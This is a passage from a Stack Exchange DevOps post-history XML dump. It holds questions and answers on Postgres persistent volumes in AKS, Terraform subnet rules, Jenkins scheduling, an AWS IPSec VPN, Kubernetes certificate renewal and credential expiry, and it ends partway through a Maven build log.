&quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xD;&#xA;&#xD;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xD;&#xA;```&#xD;&#xA;Someone suggested to get rid of the volume mounts like so:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xD;&#xA;&#xD;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xD;&#xA;&#xD;&#xA;Where are things going wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT: Permissions in Pod**&#xD;&#xA;&#xD;&#xA;Apparently it is a permissions issue that occurs when `PGDATA` is the same directory as `mountPath`. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ...&#xD;&#xA;  - name: PGDATA&#xD;&#xA;    value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;  # if PGDATA is not specified it defaults to /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql/data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Something like this where they do not match will create the Pod, but uses Pod storage which I obviously don't want:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  # Thus /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;```&#xD;&#xA;Permissions `ls -l` looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ls -l&#xD;&#xA;&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:06 apt&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:07 dpkg&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Feb  2 06:06 exim4&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Aug 28  2018 logrotate&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Nov 10 12:17 misc&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Jan 30 00:00 pam&#xD;&#xA;drwxr-xr-x 1 postgres postgres 4096 Feb  2 06:07 postgresql&#xD;&#xA;drwxrwxrwx 2     1000     1000    0 Jan 31 21:46 postgresql-data&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Jan 30 00:00 systemd&#xD;&#xA;drwxr-xr-x 3 root     root     4096 Feb  2 06:07 ucf&#xD;&#xA;&#xD;&#xA;$ ls -l postgresql &amp;&amp; ls -l postgresql/data &amp;&amp; ls -l postgresql-data&#xD;&#xA;total 4&#xD;&#xA;drwx------ 19 postgres postgres 4096 Feb  5 23:28 data&#xD;&#xA;total 124&#xD;&#xA;drwx------ 6 postgres postgres  4096 Feb  5 23:28 base&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:29 global&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_commit_ts&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_dynshmem&#xD;&#xA;-rw------- 1 postgres postgres  4281 Feb  5 23:28 pg_hba.conf&#xD;&#xA;-rw------- 1 postgres postgres  1636 Feb  5 23:28 pg_ident.conf&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:33 pg_logical&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:28 pg_multixact&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_notify&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_replslot&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_serial&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_snapshots&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_stat&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:51 pg_stat_tmp&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_subtrans&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_tblspc&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_twophase&#xD;&#xA;-rw------- 1 postgres postgres     3 Feb  5 23:28 PG_VERSION&#xD;&#xA;drwx------ 3 postgres postgres  4096 Feb  5 23:28 pg_wal&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_xact&#xD;&#xA;-rw------- 1 postgres postgres    88 Feb  5 23:28 postgresql.auto.conf&#xD;&#xA;-rw------- 1 postgres postgres 26588 Feb  5 23:28 postgresql.conf&#xD;&#xA;-rw------- 1 postgres postgres    36 Feb  5 23:28 postmaster.opts&#xD;&#xA;-rw------- 1 postgres postgres    94 Feb  5 23:28 postmaster.pid&#xD;&#xA;total 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The permissions for where it creates the data files is `postgres`. However, doing this, it doesn't map to Azure Files and the PVC. It just stays and is destroyed with the Pod.&#xD;&#xA;&#xD;&#xA;I think what is happening is `mountPath` uses `root` and `PGDATA` uses `postgres`, and somehow `mountPath` is trying to use `postgres`??? &#xD;&#xA;&#xD;&#xA;Really, not sure and still lost as to how to resolve it.&#xD;&#xA;&#xD;&#xA;**EDIT2**&#xD;&#xA;&#xD;&#xA;Came across this answer:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/51203031/3123109&#xD;&#xA;&#xD;&#xA;So added the following to mine:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: postgres&#xD;&#xA;  image: postgres&#xD;&#xA;  command: &#xD;&#xA;  - /bin/chown&#xD;&#xA;  - -R&#xD;&#xA;  - &quot;1000&quot;&#xD;&#xA;  - /var/lib/postgresql/data&#xD;&#xA;```&#xD;&#xA;But this generates a new error:&#xD;&#xA;```&#xD;&#xA;The selected container has not logged any messages yet.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Progress, I guess.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32936" PostHistoryTypeId="2" PostId="10728" RevisionGUID="3a7f5b8b-939a-4f60-8f6b-d44596c8e7dd" CreationDate="2020-02-06T03:54:02.160" UserId="10354" Text="```&#xD;&#xA;data &quot;aws_subnet&quot; &quot;subnets&quot; {&#xD;&#xA;  for_each = toset(var.aws_subnet_ids)&#xD;&#xA;  id       = each.value&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;locals {&#xD;&#xA;  cidr_blocks = [&#xD;&#xA;    for subnet in data.aws_subnet.subnets :&#xD;&#xA;      subnet.cidr_block&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;  cidr_blocks_rendered = [&#xD;&#xA;    for cidr_block in local.cidr_blocks :&#xD;&#xA;     {&#xD;&#xA;       from_port   = 6443,&#xD;&#xA;       to_port     = 6443,&#xD;&#xA;       protocol    = &quot;tcp&quot;,&#xD;&#xA;       cidr_blocks = cidr_block&#xD;&#xA;     }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;output1-1&quot; {&#xD;&#xA;  value = local.cidr_blocks_rendered&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is what ultimately I needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="32937" PostHistoryTypeId="50" PostId="10102" RevisionGUID="6271e5ea-fbd0-438a-b5d0-3485d4e977cc" CreationDate="2020-02-06T04:03:40.350" UserId="-1" />
  <row Id="32951" PostHistoryTypeId="2" PostId="10732" RevisionGUID="f657ea75-728f-4e90-bb83-dda8277f1797" CreationDate="2020-02-06T11:35:49.867" UserId="19018" Text="I have created a Jenkins job which have Choice Parameters, Active Choice Parameters, Active choice reactive params and Reactive reference params.&#xD;&#xA;&#xD;&#xA;This job needs to be scheduled with parameters.&#xD;&#xA;&#xD;&#xA;As the active choice params and reactive choice params are dynamically executed with groovy scripts.&#xD;&#xA;&#xD;&#xA;How can I pass these parameters to schedule a job with cron present in Jenkins.&#xD;&#xA;I'm using [Parameterized Scheduler][1] plugin for scheduling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/parameterized-scheduler" ContentLicense="CC BY-SA 4.0" />
  <row Id="32952" PostHistoryTypeId="1" PostId="10732" RevisionGUID="f657ea75-728f-4e90-bb83-dda8277f1797" CreationDate="2020-02-06T11:35:49.867" UserId="19018" Text="Schedule Jenkins Job with Active choice Reactive parameters and Reactive reference parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="32953" PostHistoryTypeId="3" PostId="10732" RevisionGUID="f657ea75-728f-4e90-bb83-dda8277f1797" CreationDate="2020-02-06T11:35:49.867" UserId="19018" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32955" PostHistoryTypeId="2" PostId="10734" RevisionGUID="59097c40-6b51-4631-9284-8bbb8208f859" CreationDate="2020-02-06T13:21:07.517" UserId="707" Text="Consider the following situation (for test purposes):&#xD;&#xA;&#xD;&#xA;- there is a public IPSec VPN endpoint (StrongSwan);&#xD;&#xA;- a machine with either Ubuntu (Strong Swan client) or Windows OS (native client) running in the cloud should be the VPN guest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;- Windows Server 2019 machine establishes VPN connection successfully but can't send any packet&#xD;&#xA;- Ubuntu 18 machine establishes connection to some degree but does not create PPP0 interface.&#xD;&#xA;- Ubuntu 16 machine makes a handshake but then there is a message about protocol mismatch (maybe in this specific case there is an incompatibility between both endpoints).&#xD;&#xA;&#xD;&#xA;Are there any AWS limitations to IPSec VPN?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32956" PostHistoryTypeId="1" PostId="10734" RevisionGUID="59097c40-6b51-4631-9284-8bbb8208f859" CreationDate="2020-02-06T13:21:07.517" UserId="707" Text="Is there a limitation in AWS to open an IPSec VPN connection?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32957" PostHistoryTypeId="3" PostId="10734" RevisionGUID="59097c40-6b51-4631-9284-8bbb8208f859" CreationDate="2020-02-06T13:21:07.517" UserId="707" Text="&lt;amazon-web-services&gt;&lt;devsecops&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32958" PostHistoryTypeId="2" PostId="10735" RevisionGUID="be6f7d7d-ccc6-4480-bb1a-05284c779678" CreationDate="2020-02-06T16:03:04.140" UserId="19264" Text="**First** [How to check Check certificate expiration](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#check-certificate-expiration)&#xD;&#xA;&#xD;&#xA;You can use the `kubeadm alpha certs check-expiration` command to check when certificates expire on a given cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Simplest remedy** : you can choose to upgrade the control plance which will renew the certs and then you are good and secure as before loosing your laptop.&#xD;&#xA;&#xD;&#xA;[Automatic certificate renewal](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#automatic-certificate-renewal)&#xD;&#xA;&gt; Note : kubeadm renews all the certificates during control plane upgrade.&#xD;&#xA;  &#xD;&#xA;   This feature is designed for addressing the simplest use cases; if you don’t have specific requirements on certificate renewal and perform Kubernetes version upgrades regularly (less than 1 year in between each upgrade), kubeadm will take care of keeping your cluster up to date and reasonably secure.&#xD;&#xA;   &#xD;&#xA;&gt; Note: It is a best practice to upgrade your cluster frequently in order to stay secure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Another option is to perform** [Manual certificate renewal](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#manual-certificate-renewal)&#xD;&#xA;&#xD;&#xA;&gt; Note: The default Kubernetes certificates normally reach their expiration date after one year.&#xD;&#xA;&#xD;&#xA;Refer more on `kubeadm alpha certs renew` command usage." ContentLicense="CC BY-SA 4.0" />
  <row Id="32959" PostHistoryTypeId="5" PostId="10735" RevisionGUID="dc6632be-7da0-44a7-b893-bb563fca2a6c" CreationDate="2020-02-06T16:09:00.050" UserId="19264" Comment="added 196 characters in body" Text="**First** [How to check Check certificate expiration](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#check-certificate-expiration)&#xD;&#xA;&#xD;&#xA;You can use the `kubeadm alpha certs check-expiration` command to check when certificates expire on a given cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Simplest remedy** : you can choose to upgrade the control plance which will renew the certs and then you are good and secure as before loosing your laptop.&#xD;&#xA;&#xD;&#xA;[Automatic certificate renewal](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#automatic-certificate-renewal)&#xD;&#xA;&gt; Note : kubeadm renews all the certificates during control plane upgrade.&#xD;&#xA;  &#xD;&#xA;   This feature is designed for addressing the simplest use cases; if you don’t have specific requirements on certificate renewal and perform Kubernetes version upgrades regularly (less than 1 year in between each upgrade), kubeadm will take care of keeping your cluster up to date and reasonably secure.&#xD;&#xA;   &#xD;&#xA;&gt; Note: It is a best practice to upgrade your cluster frequently in order to stay secure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Another option is to perform** [Manual certificate renewal](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/#manual-certificate-renewal)&#xD;&#xA;&#xD;&#xA;&gt; Note: The default Kubernetes certificates normally reach their expiration date after one year.&#xD;&#xA;&#xD;&#xA;Refer more on `kubeadm alpha certs renew` command usage.&#xD;&#xA;&#xD;&#xA;You probably also need to explore the beta feature for [Certificate Rotation](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/#certificate-rotation)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32961" PostHistoryTypeId="50" PostId="10413" RevisionGUID="8eb48eb5-ea48-40fd-9526-1371bbcefc81" CreationDate="2020-02-06T17:01:15.290" UserId="-1" />
  <row Id="32962" PostHistoryTypeId="5" PostId="10700" RevisionGUID="25cd4adc-23a7-4606-9041-68a0eeb8d923" CreationDate="2020-02-06T17:57:01.337" UserId="6131" Comment="Specify AKS" Text="I am looking for information on how to forcefully expire users credentials in (AKS) Kubernetes. The reason is to better understand Security models and protecting Kubernetes deployments from unauthorized access.&#xD;&#xA;&#xD;&#xA;Scenario: You are an Administrator and your notebook is lost/stolen. Your Kubernetes credentials have been cached because you used `az aks get-credentials ...`. The one who now has your notebook has been able to extract your `~/.kube/config` file. They now have your Admin access!&#xD;&#xA;&#xD;&#xA;Thankfully this has not happened to me. However, imagine the nightmare! Now, how do we prevent unauthorized access with this scenario?&#xD;&#xA;&#xD;&#xA;One thing I have not yet found is how/where to forcefully expire credentials after X hours. Thus requiring users to get fresh credentials every day or (X hours). What should I be looking for or where can I find documentation that talks of this?&#xD;&#xA;&#xD;&#xA;Google searches did not render results to answer this." ContentLicense="CC BY-SA 4.0" />
  <row Id="32963" PostHistoryTypeId="4" PostId="10700" RevisionGUID="25cd4adc-23a7-4606-9041-68a0eeb8d923" CreationDate="2020-02-06T17:57:01.337" UserId="6131" Comment="Specify AKS" Text="How do I expire users credentials for (AKS) Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32966" PostHistoryTypeId="4" PostId="10700" RevisionGUID="895d65e7-2cd1-4298-8ec6-568578463bd7" CreationDate="2020-02-06T18:25:01.533" UserId="707" Comment="edited title" Text="How do I expire users credentials for Kubernetes in Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32967" PostHistoryTypeId="5" PostId="10700" RevisionGUID="895d65e7-2cd1-4298-8ec6-568578463bd7" CreationDate="2020-02-06T18:25:01.533" UserId="707" Comment="edited title" Text="I am looking for information on how to forcefully expire users credentials in Azure Kubernetes Service (AKS). The reason is to better understand Security models and protecting Kubernetes deployments from unauthorized access.&#xD;&#xA;&#xD;&#xA;Scenario: You are an Administrator and your notebook is lost/stolen. Your Kubernetes credentials have been cached because you used `az aks get-credentials ...`. The one who now has your notebook has been able to extract your `~/.kube/config` file. They now have your Admin access!&#xD;&#xA;&#xD;&#xA;Thankfully this has not happened to me. However, imagine the nightmare! Now, how do we prevent unauthorized access with this scenario?&#xD;&#xA;&#xD;&#xA;One thing I have not yet found is how/where to forcefully expire credentials after X hours. Thus requiring users to get fresh credentials every day or (X hours). What should I be looking for or where can I find documentation that talks of this?&#xD;&#xA;&#xD;&#xA;Google searches did not render results to answer this.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32968" PostHistoryTypeId="50" PostId="10417" RevisionGUID="6600d818-efe7-43e5-9106-b189cfd73519" CreationDate="2020-02-06T19:01:30.190" UserId="-1" />
  <row Id="32969" PostHistoryTypeId="2" PostId="10737" RevisionGUID="282c1db5-6ad9-4a1c-875b-600989ebb994" CreationDate="2020-02-06T20:00:14.797" UserId="19546" Text="I have been trying to work on Jenkins and I'm able to Build the code but unable to deploy on to the Tomcat server. Have checked the users.xml file and &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Started by user nakul&#xD;&#xA;Running as SYSTEM&#xD;&#xA;Building in workspace /home/ubuntu/.jenkins/workspace/Development&#xD;&#xA;using credential 1da4e373-a6ab-4c02-8231-6c3040786f0b&#xD;&#xA; &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;Fetching changes from the remote Git repository&#xD;&#xA; &gt; git config remote.origin.url https://github.com/nakul-crypto/maven.git # timeout=10&#xD;&#xA;Fetching upstream changes from https://github.com/nakul-crypto/maven.git&#xD;&#xA; &gt; git --version # timeout=10&#xD;&#xA;using GIT_ASKPASS to set credentials &#xD;&#xA; &gt; git fetch --tags --progress -- https://github.com/nakul-crypto/maven.git +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA; &gt; git rev-parse refs/remotes/origin/master^{commit} # timeout=10&#xD;&#xA; &gt; git rev-parse refs/remotes/origin/origin/master^{commit} # timeout=10&#xD;&#xA;Checking out Revision 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 (refs/remotes/origin/master)&#xD;&#xA; &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA; &gt; git checkout -f 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 # timeout=10&#xD;&#xA;Commit message: &quot;maven&quot;&#xD;&#xA; &gt; git rev-list --no-walk 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 # timeout=10&#xD;&#xA;[Development] $ mvn package&#xD;&#xA;[[1;34mINFO[m] Scanning for projects...&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:server:jar:1.0-SNAPSHOT&#xD;&#xA;[[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter.&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:webapp:war:1.0-SNAPSHOT&#xD;&#xA;[[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter.&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:maven-project:pom:1.0-SNAPSHOT&#xD;&#xA;[[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter. @ line 56, column 24&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] It is highly recommended to fix these problems because they threaten the stability of your build.&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] For this reason, future Maven versions might no longer support building such malformed projects.&#xD;&#xA;[[1;33mWARNING[m] &#xD;&#xA;[[1;33mWARNING[m] The project com.example.maven-project:maven-project:pom:1.0-SNAPSHOT uses prerequisites which is only intended for maven-plugin projects but not for non maven-plugin projects. For such purposes you should use the maven-enforcer-plugin. See https://maven.apache.org/enforcer/enforcer-rules/requireMavenVersion.html&#xD;&#xA;[[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;[[1;34mINFO[m] [1mReactor Build Order:[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] Maven Project                                                      [pom]&#xD;&#xA;[[1;34mINFO[m] Server                                                             [jar]&#xD;&#xA;[[1;34mINFO[m] Webapp                                                             [war]&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--------------&lt; [0;36mcom.example.maven-project:maven-project[0;1m &gt;---------------[m&#xD;&#xA;[[1;34mINFO[m] [1mBuilding Maven Project 1.0-SNAPSHOT                                [1/3][m&#xD;&#xA;[[1;34mINFO[m] [1m--------------------------------[ pom ]---------------------------------[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m------------------&lt; [0;36mcom.example.maven-project:server[0;1m &gt;------------------[m&#xD;&#xA;[[1;34mINFO[m] [1mBuilding Server 1.0-SNAPSHOT                                       [2/3][m&#xD;&#xA;[[1;34mINFO[m] [1m--------------------------------[ jar ]---------------------------------[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:resources[m [1m(default-resources)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[debug] execute contextualize&#xD;&#xA;[[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;[[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/server/src/main/resources&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:compile[m [1m(default-compile)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] Nothing to compile - all classes are up to date&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:testResources[m [1m(default-testResources)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[debug] execute contextualize&#xD;&#xA;[[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;[[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/server/src/test/resources&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:testCompile[m [1m(default-testCompile)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] Nothing to compile - all classes are up to date&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-surefire-plugin:2.11:test[m [1m(default-test)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] Surefire report directory: /home/ubuntu/.jenkins/workspace/Development/server/target/surefire-reports&#xD;&#xA;&#xD;&#xA;-------------------------------------------------------&#xD;&#xA; T E S T S&#xD;&#xA;-------------------------------------------------------&#xD;&#xA;Running com.example.TestGreeter&#xD;&#xA;Tests run: 2, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.116 sec&#xD;&#xA;&#xD;&#xA;Results :&#xD;&#xA;&#xD;&#xA;Tests run: 2, Failures: 0, Errors: 0, Skipped: 0&#xD;&#xA;&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-jar-plugin:2.4:jar[m [1m(default-jar)[m @ [36mserver[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m------------------&lt; [0;36mcom.example.maven-project:webapp[0;1m &gt;------------------[m&#xD;&#xA;[[1;34mINFO[m] [1mBuilding Webapp 1.0-SNAPSHOT                                       [3/3][m&#xD;&#xA;[[1;34mINFO[m] [1m--------------------------------[ war ]---------------------------------[m&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:resources[m [1m(default-resources)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[debug] execute contextualize&#xD;&#xA;[[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;[[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/webapp/src/main/resources&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:compile[m [1m(default-compile)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] No sources to compile&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:testResources[m [1m(default-testResources)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[debug] execute contextualize&#xD;&#xA;[[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;[[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/webapp/src/test/resources&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:testCompile[m [1m(default-testCompile)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] No sources to compile&#xD;&#xA;[[1;34mINFO[m] &#xD;&#xA;[[1;34mINFO[m] [1m--- [0;32mmaven-surefire-plugin:2.11:test[m [1m(default-test)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;[[1;34mINFO[m] No tests to run.&#xD;&#xA;[[1;34mINFO[m] Surefire report directory: /home/ubuntu/.jenkins/workspace/Development/webapp/target/surefire-reports&#xD;&#xA;&#xD;&#xA;-------------------------------------------------------&#xD;&#xA; T E S T S&#xD;&#xA;-------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Results :&#xD;&#xA;&#xD;&#xA;Tests run: 0, Failures: 0, Errors: 0, Skipped: 0&#xD;&#xA;&#xD;&#xA;[[1;34mINFO[m] 